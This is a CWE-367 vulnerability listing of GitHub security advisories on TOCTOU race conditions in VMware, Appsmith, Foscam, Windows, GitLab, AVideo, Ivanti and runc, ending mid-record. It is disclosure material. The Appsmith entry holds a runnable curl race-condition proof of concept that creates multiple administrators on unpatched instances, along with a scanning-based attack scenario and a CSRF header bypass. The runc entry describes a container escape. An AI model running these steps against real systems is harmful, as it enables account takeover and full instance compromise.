CWE-367
AllowedTime-of-check Time-of-use (TOCTOU) Race Condition
Abstraction: Base · Status: Incomplete
The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.
1207 vulnerabilities reference this CWE, most recent first.
GHSA-9V5H-WGX5-JXXJ
Vulnerability from github – Published: 2022-05-24 17:31 – Updated: 2022-05-24 17:31VMware ESXi (7.0 before ESXi_7.0.1-0.0.16850804, 6.7 before ESXi670-202008101-SG, 6.5 before ESXi650-202007101-SG), Workstation (15.x), Fusion (11.x before 11.5.6) contain an out-of-bounds read vulnerability due to a time-of-check time-of-use issue in ACPI device. A malicious actor with administrative access to a virtual machine may be able to exploit this issue to leak memory from the vmx process.
{
"affected": [],
"aliases": [
"CVE-2020-3981"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-10-20T17:15:00Z",
"severity": "MODERATE"
},
"details": "VMware ESXi (7.0 before ESXi_7.0.1-0.0.16850804, 6.7 before ESXi670-202008101-SG, 6.5 before ESXi650-202007101-SG), Workstation (15.x), Fusion (11.x before 11.5.6) contain an out-of-bounds read vulnerability due to a time-of-check time-of-use issue in ACPI device. A malicious actor with administrative access to a virtual machine may be able to exploit this issue to leak memory from the vmx process.",
"id": "GHSA-9v5h-wgx5-jxxj",
"modified": "2022-05-24T17:31:50Z",
"published": "2022-05-24T17:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3981"
},
{
"type": "WEB",
"url": "https://www.vmware.com/security/advisories/VMSA-2020-0023.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-9WCP-79G5-5C3C
Vulnerability from github – Published: 2026-06-12 18:27 – Updated: 2026-06-12 18:27Summary
The /api/v1/users/super endpoint enforces a restriction that only one super user (Instance Administrator) can be created during initial setup. However, due to a Time-of-Check-Time-of-Use (TOCTOU) race condition in the signupAndLoginSuper() method, concurrent requests can bypass this restriction, allowing multiple unauthorized users to obtain Instance Administrator privileges.
Severity
- CWE: CWE-367 (Time-of-Check Time-of-Use Race Condition)
- CVSS 3.1: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 (HIGH)
Affected Version
- Appsmith Community Edition v1.97.0-SNAPSHOT (release branch)
- Docker image:
appsmith/appsmith-ce:release(pulled 2026-02-25) - Commit:
55ac824f8d42f934cc7a69f8abc52880a6ad39ef
Root Cause
The signupAndLoginSuper() method in UserSignupCEImpl.java (lines 270–295) performs a non-atomic check-then-act sequence:
// Step 1: CHECK — query MongoDB for existing users
userService.isUsersEmpty()
.flatMap(isEmpty -> {
if (!Boolean.TRUE.equals(isEmpty)) {
return Mono.error(new AppsmithException(AppsmithError.UNAUTHORIZED_ACCESS));
}
// Step 2: ACT — create user and grant admin (not atomic with Step 1)
return signupAndLogin(user, exchange);
})
.flatMap(user -> userUtils.makeInstanceAdministrator(List.of(user)));
The isUsersEmpty() method (CustomUserRepositoryCEImpl.java, lines 35–44) queries MongoDB without any locking mechanism:
public Mono<Boolean> isUsersEmpty() {
return queryBuilder()
.criteria(Bridge.or(
notExists(User.Fields.isSystemGenerated),
Bridge.isFalse(User.Fields.isSystemGenerated)))
.limit(1).all(IdOnly.class).count().map(count -> count == 0);
}
There is no @Transactional annotation, no distributed lock, and no MongoDB transaction wrapping the check-and-create sequence. In the reactive WebFlux environment, concurrent requests are processed in parallel, widening the race window significantly.
Proof of Concept
Environment Setup
# Start a fresh Appsmith instance
docker run -d --name appsmith-test -p 9090:80 appsmith/appsmith-ce:release
# Wait ~90 seconds for all services to initialize
Step 1: Verify Fresh State
curl -s http://localhost:9090/api/v1/users/me | python3 -m json.tool
# Expected: {"data": {"email": "anonymousUser", ...}}
Step 2: Send Concurrent Requests
for i in $(seq 1 10); do
curl -s -o /tmp/race_result_${i}.txt -w "%{http_code}" \
-X POST http://localhost:9090/api/v1/users/super \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Requested-By: Appsmith" \
-d "email=racer${i}@evil.com&password=TestP4ssw0rd!&name=Racer${i}&allowCollectingAnonymousData=false" &
done
wait
# Check results
for i in $(seq 1 10); do
echo "racer${i}: $(cat /tmp/race_result_${i}.txt)"
done
Step 3: Verify in MongoDB
// Connect to MongoDB inside the container
// docker exec -it appsmith-test mongosh <connection_string>
// Count non-system users (expected: 1, actual: 10)
db.user.countDocuments({ isSystemGenerated: { $ne: true } })
// Check who has manage:users permission
db.user.find(
{ isSystemGenerated: { $ne: true } },
{ email: 1, "policies.permission": 1 }
).forEach(u => {
const hasManage = u.policies?.some(p => p.permission === "manage:users");
printjson({ email: u.email, manage_users: hasManage });
});
// Check Instance Administrator Role assignments
db.permissionGroup.findOne(
{ name: "Instance Administrator Role" },
{ assignedToUserIds: 1 }
);
Observed Results
| Metric | Expected | Actual |
|---|---|---|
| Users created | 1 | 10 |
Users with manage:users policy |
1 | 10 |
| Users in Instance Administrator Role | 1 | 2 |
All 10 concurrent requests returned HTTP 302 (success redirect), bypassing the single-user restriction.
Impact
-
Authorization Bypass: The one-admin-only restriction is completely defeated by concurrent requests.
-
Persistent Backdoor: The attacker's admin account persists alongside the legitimate administrator. The legitimate admin has no indication that another admin exists unless they manually inspect the user list.
-
Full Instance Compromise: Instance Administrator privileges grant:
- User management (create, delete, modify all users)
- Access to all datasource credentials (database passwords, API keys)
- Modification of all applications and their server-side logic
- Environment configuration (SMTP, OAuth, encryption settings)
Attack Scenario
- Attacker monitors for newly deployed Appsmith instances (e.g., via Shodan, Censys, or internal network scanning).
- Attacker polls
GET /api/v1/users/me— if the response contains"email": "anonymousUser", the instance has not been set up yet. - Attacker sends multiple concurrent
POST /api/v1/users/superrequests. - Legitimate administrator completes setup normally, unaware that an attacker account also received Instance Administrator privileges.
- Attacker now has persistent, full administrative access to the instance.
Suggested Fix
Option A: MongoDB Transaction (Recommended)
Wrap the check-and-create in a MongoDB transaction to ensure atomicity:
public Mono<User> signupAndLoginSuper(...) {
return reactiveMongoTemplate.inTransaction().execute(session -> {
return userService.isUsersEmpty()
.flatMap(isEmpty -> {
if (!Boolean.TRUE.equals(isEmpty)) {
return Mono.error(new AppsmithException(
AppsmithError.UNAUTHORIZED_ACCESS));
}
return signupAndLogin(user, exchange);
});
}).single()
.flatMap(user -> userUtils.makeInstanceAdministrator(List.of(user)));
}
Option B: Distributed Lock
Use Redis (already available in Appsmith's stack) to acquire an exclusive lock:
public Mono<User> signupAndLoginSuper(...) {
return redisLockService.acquireLock("super-user-setup", Duration.ofSeconds(10))
.flatMap(lock -> userService.isUsersEmpty()
.flatMap(isEmpty -> {
if (!Boolean.TRUE.equals(isEmpty)) {
return Mono.error(...);
}
return signupAndLogin(user, exchange);
})
.doFinally(signal -> lock.release()));
}
Option C: Unique Constraint
Add a MongoDB unique partial index that prevents more than one super admin:
db.user.createIndex(
{ "isSuperAdmin": 1 },
{ unique: true, partialFilterExpression: { "isSuperAdmin": true } }
);
CSRF Note
The POST /api/v1/users/super endpoint accepts application/x-www-form-urlencoded content type. CSRF protection can be bypassed by including the X-Requested-By: Appsmith header (CsrfConfigCE.java, lines 99–102), which is a static, publicly known value.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 1.99.0"
},
"package": {
"ecosystem": "Maven",
"name": "com.appsmith:server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.99"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-12T18:27:53Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe `/api/v1/users/super` endpoint enforces a restriction that only one super user (Instance Administrator) can be created during initial setup. However, due to a Time-of-Check-Time-of-Use (TOCTOU) race condition in the `signupAndLoginSuper()` method, concurrent requests can bypass this restriction, allowing multiple unauthorized users to obtain Instance Administrator privileges.\n\n## Severity\n\n- **CWE**: CWE-367 (Time-of-Check Time-of-Use Race Condition)\n- **CVSS 3.1**: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H \u2014 **8.1 (HIGH)**\n\n## Affected Version\n\n- Appsmith Community Edition v1.97.0-SNAPSHOT (release branch)\n- Docker image: `appsmith/appsmith-ce:release` (pulled 2026-02-25)\n- Commit: `55ac824f8d42f934cc7a69f8abc52880a6ad39ef`\n\n## Root Cause\n\nThe `signupAndLoginSuper()` method in `UserSignupCEImpl.java` (lines 270\u2013295) performs a non-atomic check-then-act sequence:\n\n```java\n// Step 1: CHECK \u2014 query MongoDB for existing users\nuserService.isUsersEmpty()\n .flatMap(isEmpty -\u003e {\n if (!Boolean.TRUE.equals(isEmpty)) {\n return Mono.error(new AppsmithException(AppsmithError.UNAUTHORIZED_ACCESS));\n }\n // Step 2: ACT \u2014 create user and grant admin (not atomic with Step 1)\n return signupAndLogin(user, exchange);\n })\n .flatMap(user -\u003e userUtils.makeInstanceAdministrator(List.of(user)));\n```\n\nThe `isUsersEmpty()` method (`CustomUserRepositoryCEImpl.java`, lines 35\u201344) queries MongoDB without any locking mechanism:\n\n```java\npublic Mono\u003cBoolean\u003e isUsersEmpty() {\n return queryBuilder()\n .criteria(Bridge.or(\n notExists(User.Fields.isSystemGenerated),\n Bridge.isFalse(User.Fields.isSystemGenerated)))\n .limit(1).all(IdOnly.class).count().map(count -\u003e count == 0);\n}\n```\n\nThere is no `@Transactional` annotation, no distributed lock, and no MongoDB transaction wrapping the check-and-create sequence. In the reactive WebFlux environment, concurrent requests are processed in parallel, widening the race window significantly.\n\n## Proof of Concept\n\n### Environment Setup\n\n```bash\n# Start a fresh Appsmith instance\ndocker run -d --name appsmith-test -p 9090:80 appsmith/appsmith-ce:release\n# Wait ~90 seconds for all services to initialize\n```\n\n### Step 1: Verify Fresh State\n\n```bash\ncurl -s http://localhost:9090/api/v1/users/me | python3 -m json.tool\n# Expected: {\"data\": {\"email\": \"anonymousUser\", ...}}\n```\n\n### Step 2: Send Concurrent Requests\n\n```bash\nfor i in $(seq 1 10); do\n curl -s -o /tmp/race_result_${i}.txt -w \"%{http_code}\" \\\n -X POST http://localhost:9090/api/v1/users/super \\\n -H \"Content-Type: application/x-www-form-urlencoded\" \\\n -H \"X-Requested-By: Appsmith\" \\\n -d \"email=racer${i}@evil.com\u0026password=TestP4ssw0rd!\u0026name=Racer${i}\u0026allowCollectingAnonymousData=false\" \u0026\ndone\nwait\n\n# Check results\nfor i in $(seq 1 10); do\n echo \"racer${i}: $(cat /tmp/race_result_${i}.txt)\"\ndone\n```\n\n### Step 3: Verify in MongoDB\n\n```javascript\n// Connect to MongoDB inside the container\n// docker exec -it appsmith-test mongosh \u003cconnection_string\u003e\n\n// Count non-system users (expected: 1, actual: 10)\ndb.user.countDocuments({ isSystemGenerated: { $ne: true } })\n\n// Check who has manage:users permission\ndb.user.find(\n { isSystemGenerated: { $ne: true } },\n { email: 1, \"policies.permission\": 1 }\n).forEach(u =\u003e {\n const hasManage = u.policies?.some(p =\u003e p.permission === \"manage:users\");\n printjson({ email: u.email, manage_users: hasManage });\n});\n\n// Check Instance Administrator Role assignments\ndb.permissionGroup.findOne(\n { name: \"Instance Administrator Role\" },\n { assignedToUserIds: 1 }\n);\n```\n\n### Observed Results\n\n| Metric | Expected | Actual |\n|--------|----------|--------|\n| Users created | 1 | **10** |\n| Users with `manage:users` policy | 1 | **10** |\n| Users in Instance Administrator Role | 1 | **2** |\n\nAll 10 concurrent requests returned HTTP 302 (success redirect), bypassing the single-user restriction.\n\n## Impact\n\n1. **Authorization Bypass**: The one-admin-only restriction is completely defeated by concurrent requests.\n\n2. **Persistent Backdoor**: The attacker\u0027s admin account persists alongside the legitimate administrator. The legitimate admin has no indication that another admin exists unless they manually inspect the user list.\n\n3. **Full Instance Compromise**: Instance Administrator privileges grant:\n - User management (create, delete, modify all users)\n - Access to all datasource credentials (database passwords, API keys)\n - Modification of all applications and their server-side logic\n - Environment configuration (SMTP, OAuth, encryption settings)\n\n## Attack Scenario\n\n1. Attacker monitors for newly deployed Appsmith instances (e.g., via Shodan, Censys, or internal network scanning).\n2. Attacker polls `GET /api/v1/users/me` \u2014 if the response contains `\"email\": \"anonymousUser\"`, the instance has not been set up yet.\n3. Attacker sends multiple concurrent `POST /api/v1/users/super` requests.\n4. Legitimate administrator completes setup normally, unaware that an attacker account also received Instance Administrator privileges.\n5. Attacker now has persistent, full administrative access to the instance.\n\n## Suggested Fix\n\n### Option A: MongoDB Transaction (Recommended)\n\nWrap the check-and-create in a MongoDB transaction to ensure atomicity:\n\n```java\npublic Mono\u003cUser\u003e signupAndLoginSuper(...) {\n return reactiveMongoTemplate.inTransaction().execute(session -\u003e {\n return userService.isUsersEmpty()\n .flatMap(isEmpty -\u003e {\n if (!Boolean.TRUE.equals(isEmpty)) {\n return Mono.error(new AppsmithException(\n AppsmithError.UNAUTHORIZED_ACCESS));\n }\n return signupAndLogin(user, exchange);\n });\n }).single()\n .flatMap(user -\u003e userUtils.makeInstanceAdministrator(List.of(user)));\n}\n```\n\n### Option B: Distributed Lock\n\nUse Redis (already available in Appsmith\u0027s stack) to acquire an exclusive lock:\n\n```java\npublic Mono\u003cUser\u003e signupAndLoginSuper(...) {\n return redisLockService.acquireLock(\"super-user-setup\", Duration.ofSeconds(10))\n .flatMap(lock -\u003e userService.isUsersEmpty()\n .flatMap(isEmpty -\u003e {\n if (!Boolean.TRUE.equals(isEmpty)) {\n return Mono.error(...);\n }\n return signupAndLogin(user, exchange);\n })\n .doFinally(signal -\u003e lock.release()));\n}\n```\n\n### Option C: Unique Constraint\n\nAdd a MongoDB unique partial index that prevents more than one super admin:\n\n```javascript\ndb.user.createIndex(\n { \"isSuperAdmin\": 1 },\n { unique: true, partialFilterExpression: { \"isSuperAdmin\": true } }\n);\n```\n\n## CSRF Note\n\nThe `POST /api/v1/users/super` endpoint accepts `application/x-www-form-urlencoded` content type. CSRF protection can be bypassed by including the `X-Requested-By: Appsmith` header (`CsrfConfigCE.java`, lines 99\u2013102), which is a static, publicly known value.",
"id": "GHSA-9wcp-79g5-5c3c",
"modified": "2026-06-12T18:27:53Z",
"published": "2026-06-12T18:27:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/appsmithorg/appsmith/security/advisories/GHSA-9wcp-79g5-5c3c"
},
{
"type": "PACKAGE",
"url": "https://github.com/appsmithorg/appsmith"
},
{
"type": "WEB",
"url": "https://github.com/appsmithorg/appsmith/releases/tag/v1.99"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Appsmith Super User Creation Race Condition Allows Multiple Instance Administrators"
}
GHSA-9WXQ-WWQC-X64J
Vulnerability from github – Published: 2022-04-22 00:00 – Updated: 2022-05-05 00:00Time-of-check Time-of-use (TOCTOU) Race Condition vulerability in Foscam R2C IP camera running System FW <= 1.13.1.6, and Application FW <= 2.91.2.66, allows an authenticated remote attacker with administrator permissions to execute arbitrary remote code via a malicious firmware patch. The impact of this vulnerability is that the remote attacker could gain full remote access to the IP camera and the underlying Linux system with root permissions. With root access to the camera's Linux OS, an attacker could effectively change the code that is running, add backdoor access, or invade the privacy of the user by accessing the live camera stream.
{
"affected": [],
"aliases": [
"CVE-2022-28743"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-21T19:15:00Z",
"severity": "HIGH"
},
"details": "Time-of-check Time-of-use (TOCTOU) Race Condition vulerability in Foscam R2C IP camera running System FW \u003c= 1.13.1.6, and Application FW \u003c= 2.91.2.66, allows an authenticated remote attacker with administrator permissions to execute arbitrary remote code via a malicious firmware patch. The impact of this vulnerability is that the remote attacker could gain full remote access to the IP camera and the underlying Linux system with root permissions. With root access to the camera\u0027s Linux OS, an attacker could effectively change the code that is running, add backdoor access, or invade the privacy of the user by accessing the live camera stream.",
"id": "GHSA-9wxq-wwqc-x64j",
"modified": "2022-05-05T00:00:46Z",
"published": "2022-04-22T00:00:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-28743"
},
{
"type": "WEB",
"url": "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/keeping-a-critical-eye-on-iot-devices.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9XG5-4CPG-QQXQ
Vulnerability from github – Published: 2025-09-09 18:31 – Updated: 2025-09-09 18:31Time-of-check time-of-use (toctou) race condition in Windows TCP/IP allows an authorized attacker to elevate privileges locally.
{
"affected": [],
"aliases": [
"CVE-2025-54093"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-09T17:15:52Z",
"severity": "HIGH"
},
"details": "Time-of-check time-of-use (toctou) race condition in Windows TCP/IP allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-9xg5-4cpg-qqxq",
"modified": "2025-09-09T18:31:20Z",
"published": "2025-09-09T18:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54093"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54093"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9XHF-GX34-9Q2G
Vulnerability from github – Published: 2023-06-28 21:30 – Updated: 2024-04-04 05:16An issue has been discovered in GitLab affecting all versions starting from 15.7 before 15.8.5, from 15.9 before 15.9.4, and from 15.10 before 15.10.1 that allows for crafted, unapproved MRs to be introduced and merged without authorization
{
"affected": [],
"aliases": [
"CVE-2022-4143"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-28T21:15:09Z",
"severity": "MODERATE"
},
"details": "An issue has been discovered in GitLab affecting all versions starting from 15.7 before 15.8.5, from 15.9 before 15.9.4, and from 15.10 before 15.10.1 that allows for crafted, unapproved MRs to be introduced and merged without authorization",
"id": "GHSA-9xhf-gx34-9q2g",
"modified": "2024-04-04T05:16:11Z",
"published": "2023-06-28T21:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4143"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1767639"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2022/CVE-2022-4143.json"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/383776"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C3CH-22RQ-XFWR
Vulnerability from github – Published: 2026-05-15 18:35 – Updated: 2026-06-09 10:28CVE-2026-43884 fix 603e7bf patched EpgParser.php and plugin/AI/receiveAsync.json.php to use url_get_contents (redirect-safe). Neither uses the $resolvedIP out-param of isSSRFSafeURL() for DNS pinning via CURLOPT_RESOLVE. Six+ other call sites still discard $resolvedIP, opening DNS-rebinding TOCTOU.
Reference correct pattern at plugin/YPTWallet/YPTWallet.php:1071-1098:
```php $resolvedIP = null; if (isSSRFSafeURL($url, $resolvedIP)) { curl_setopt($ch, CURLOPT_RESOLVE, ["$h
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "WWBN/AVideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45619"
],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-15T18:35:38Z",
"nvd_published_at": "2026-05-29T14:16:30Z",
"severity": "MODERATE"
},
"details": "CVE-2026-43884 fix `603e7bf` patched `EpgParser.php` and `plugin/AI/receiveAsync.json.php` to use `url_get_contents` (redirect-safe). Neither uses the `$resolvedIP` out-param of `isSSRFSafeURL()` for DNS pinning via `CURLOPT_RESOLVE`. Six+ other call sites still discard `$resolvedIP`, opening DNS-rebinding TOCTOU.\n\nReference correct pattern at `plugin/YPTWallet/YPTWallet.php:1071-1098`:\n\n```php\n$resolvedIP = null;\nif (isSSRFSafeURL($url, $resolvedIP)) {\n curl_setopt($ch, CURLOPT_RESOLVE, [\"$h",
"id": "GHSA-c3ch-22rq-xfwr",
"modified": "2026-06-09T10:28:08Z",
"published": "2026-05-15T18:35:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-c3ch-22rq-xfwr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45619"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-2hch-c97c-g99x"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo CVE-2026-43884 incomplete fix - six (or more) `isSSRFSafeURL()` call sites still discard the `$resolvedIP` out-param at master HEAD post-`603e7bf`"
}
GHSA-C3P2-8X6X-WVH2
Vulnerability from github – Published: 2024-04-19 03:31 – Updated: 2025-05-06 21:30A Race Condition (TOCTOU) vulnerability in web component of Ivanti Avalanche before 6.4.3 allows a remote authenticated attacker to execute arbitrary commands as SYSTEM.
{
"affected": [],
"aliases": [
"CVE-2024-24993"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-19T02:15:08Z",
"severity": "HIGH"
},
"details": "A Race Condition (TOCTOU) vulnerability in web component of Ivanti Avalanche before 6.4.3 allows a remote authenticated attacker to execute arbitrary commands as SYSTEM.",
"id": "GHSA-c3p2-8x6x-wvh2",
"modified": "2025-05-06T21:30:42Z",
"published": "2024-04-19T03:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24993"
},
{
"type": "WEB",
"url": "https://forums.ivanti.com/s/article/Avalanche-6-4-3-Security-Hardening-and-CVEs-addressed?language=en_US"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C3XM-PVG7-GH7R
Vulnerability from github – Published: 2021-05-25 18:44 – Updated: 2021-05-21 19:34Summary
runc 1.0.0-rc94 and earlier are vulnerable to a symlink exchange attack whereby an attacker can request a seemingly-innocuous container configuration that actually results in the host filesystem being bind-mounted into the container (allowing for a container escape). CVE-2021-30465 has been assigned for this issue.
An attacker must have the ability to start containers using some kind of custom volume configuration, and while recommended container hardening mechanisms such as LSMs (AppArmor/SELinux) and user namespaces will restrict the amount of damage an attacker could do, they do not block this attack outright. We have a reproducer using Kubernetes (and the below description mentions Kubernetes-specific paths), but this is not a Kubernetes-specific issue.
The now-released runc v1.0.0-rc95 contains a fix for this issue, we recommend users update as soon as possible.
Details
In circumstances where a container is being started, and runc is mounting inside a volume shared with another container (which is conducting a symlink-exchange attack), runc can be tricked into mounting outside of the container rootfs by swapping the target of a mount with a symlink due to a time-of-check-to-time-of-use (TOCTTOU) flaw. This is fairly similar in style to previous TOCTTOU attacks (and is a problem we are working on solving with libpathrs).
However, this alone is not useful because this happens inside a mount namespace
with MS_SLAVE propagation applied to / (meaning that the mount doesn't
appear on the host -- it's only a "host-side mount" inside the container's
namespace). To exploit this, you must have additional mount entries in the
configuration that use some subpath of the mounted-over host path as a source
for a subsequent mount.
However, it turns out with some container orchestrators (such as Kubernetes -- though it is very likely that other downstream users of runc could have similar behaviour be accessible to untrusted users), the existence of additional volume management infrastructure allows this attack to be applied to gain access to the host filesystem without requiring the attacker to have completely arbitrary control over container configuration.
In the case of Kubernetes, this is exploitable by creating a symlink in a
volume to the top-level (well-known) directory where volumes are sourced from
(for instance,
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir), and then
using that symlink as the target of a mount. The source of the mount is an
attacker controlled directory, and thus the source directory from which
subsequent mounts will occur is an attacker-controlled directory. Thus the
attacker can first place a symlink to / in their malicious source directory
with the name of a volume, and a subsequent mount in the container will
bind-mount / into the container.
Applying this attack requires the attacker to start containers with a slightly
peculiar volume configuration (though not explicitly malicious-looking such as
bind-mounting / into the container explicitly), and be able to run malicious
code in a container that shares volumes with said volume configuration. It
helps the attacker if the host paths used for volume management are well known,
though this is not a hard requirement.
Patches
This has been patched in runc 1.0.0-rc95, and users should upgrade as soon as possible. The patch itself can be found here.
Workarounds
There are no known workarounds for this issue.
However, users who enforce running containers with more confined security profiles (such as reduced capabilities, not running code as root in the container, user namespaces, AppArmor/SELinux, and seccomp) will restrict what an attacker can do in the case of a container breakout -- we recommend users make use of strict security profiles if possible (most notably user namespaces -- which can massively restrict the impact a container breakout can have on the host system).
References
Credit
Thanks to Etienne Champetier for discovering and disclosing this vulnerability, to Noah Meyerhans for writing the first draft of this patch, and to Samuel Karp for testing it.
For more information
If you have any questions or comments about this advisory: * Open an issue in our issue tracker. * Email us at security@opencontainers.org.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.0-rc94"
},
"package": {
"ecosystem": "Go",
"name": "github.com/opencontainers/runc"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.0-rc95"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-30465"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-362",
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-21T19:34:43Z",
"nvd_published_at": "2021-05-27T13:15:00Z",
"severity": "HIGH"
},
"details": "### Summary\n\nrunc 1.0.0-rc94 and earlier are vulnerable to a symlink exchange attack whereby\nan attacker can request a seemingly-innocuous container configuration that\nactually results in the host filesystem being bind-mounted into the container\n(allowing for a container escape). CVE-2021-30465 has been assigned for this\nissue.\n\nAn attacker must have the ability to start containers using some kind of custom\nvolume configuration, and while recommended container hardening mechanisms such\nas LSMs (AppArmor/SELinux) and user namespaces will restrict the amount of\ndamage an attacker could do, they do not block this attack outright. We have a\nreproducer using Kubernetes (and the below description mentions\nKubernetes-specific paths), but this is not a Kubernetes-specific issue.\n\nThe now-released [runc v1.0.0-rc95][release] contains a fix for this issue, we\nrecommend users update as soon as possible.\n\n[release]: https://github.com/opencontainers/runc/releases/tag/v1.0.0-rc95\n\n### Details\n\nIn circumstances where a container is being started, and runc is mounting\ninside a volume shared with another container (which is conducting a\nsymlink-exchange attack), runc can be tricked into mounting outside of the\ncontainer rootfs by swapping the target of a mount with a symlink due to a\ntime-of-check-to-time-of-use (TOCTTOU) flaw. This is fairly similar in style to\nprevious TOCTTOU attacks (and is a problem we are working on solving with\nlibpathrs).\n\nHowever, this alone is not useful because this happens inside a mount namespace\nwith `MS_SLAVE` propagation applied to `/` (meaning that the mount doesn\u0027t\nappear on the host -- it\u0027s only a \"host-side mount\" inside the container\u0027s\nnamespace). To exploit this, you must have additional mount entries in the\nconfiguration that use some subpath of the mounted-over host path as a source\nfor a subsequent mount.\n\nHowever, it turns out with some container orchestrators (such as Kubernetes --\nthough it is very likely that other downstream users of runc could have similar\nbehaviour be accessible to untrusted users), the existence of additional volume\nmanagement infrastructure allows this attack to be applied to gain access to\nthe host filesystem without requiring the attacker to have completely arbitrary\ncontrol over container configuration.\n\nIn the case of Kubernetes, this is exploitable by creating a symlink in a\nvolume to the top-level (well-known) directory where volumes are sourced from\n(for instance,\n`/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir`), and then\nusing that symlink as the target of a mount. The source of the mount is an\nattacker controlled directory, and thus the source directory from which\nsubsequent mounts will occur is an attacker-controlled directory. Thus the\nattacker can first place a symlink to `/` in their malicious source directory\nwith the name of a volume, and a subsequent mount in the container will\nbind-mount `/` into the container.\n\nApplying this attack requires the attacker to start containers with a slightly\npeculiar volume configuration (though not explicitly malicious-looking such as\nbind-mounting `/` into the container explicitly), and be able to run malicious\ncode in a container that shares volumes with said volume configuration. It\nhelps the attacker if the host paths used for volume management are well known,\nthough this is not a hard requirement.\n\n### Patches\nThis has been patched in runc 1.0.0-rc95, and users should upgrade as soon as\npossible. The patch itself can be found [here](https://github.com/opencontainers/runc/commit/0ca91f44f1664da834bc61115a849b56d22f595f).\n\n### Workarounds\n\nThere are no known workarounds for this issue.\n\nHowever, users who enforce running containers with more confined security\nprofiles (such as reduced capabilities, not running code as root in the\ncontainer, user namespaces, AppArmor/SELinux, and seccomp) will restrict what\nan attacker can do in the case of a container breakout -- we recommend users\nmake use of strict security profiles if possible (most notably user namespaces\n-- which can massively restrict the impact a container breakout can have on the\nhost system).\n\n### References\n* [commit](https://github.com/opencontainers/runc/commit/0ca91f44f1664da834bc61115a849b56d22f595f)\n* [seclists public disclosure](https://www.openwall.com/lists/oss-security/2021/05/19/2)\n\n### Credit\n\nThanks to Etienne Champetier for discovering and disclosing this vulnerability,\nto Noah Meyerhans for writing the first draft of this patch, and to Samuel Karp\nfor 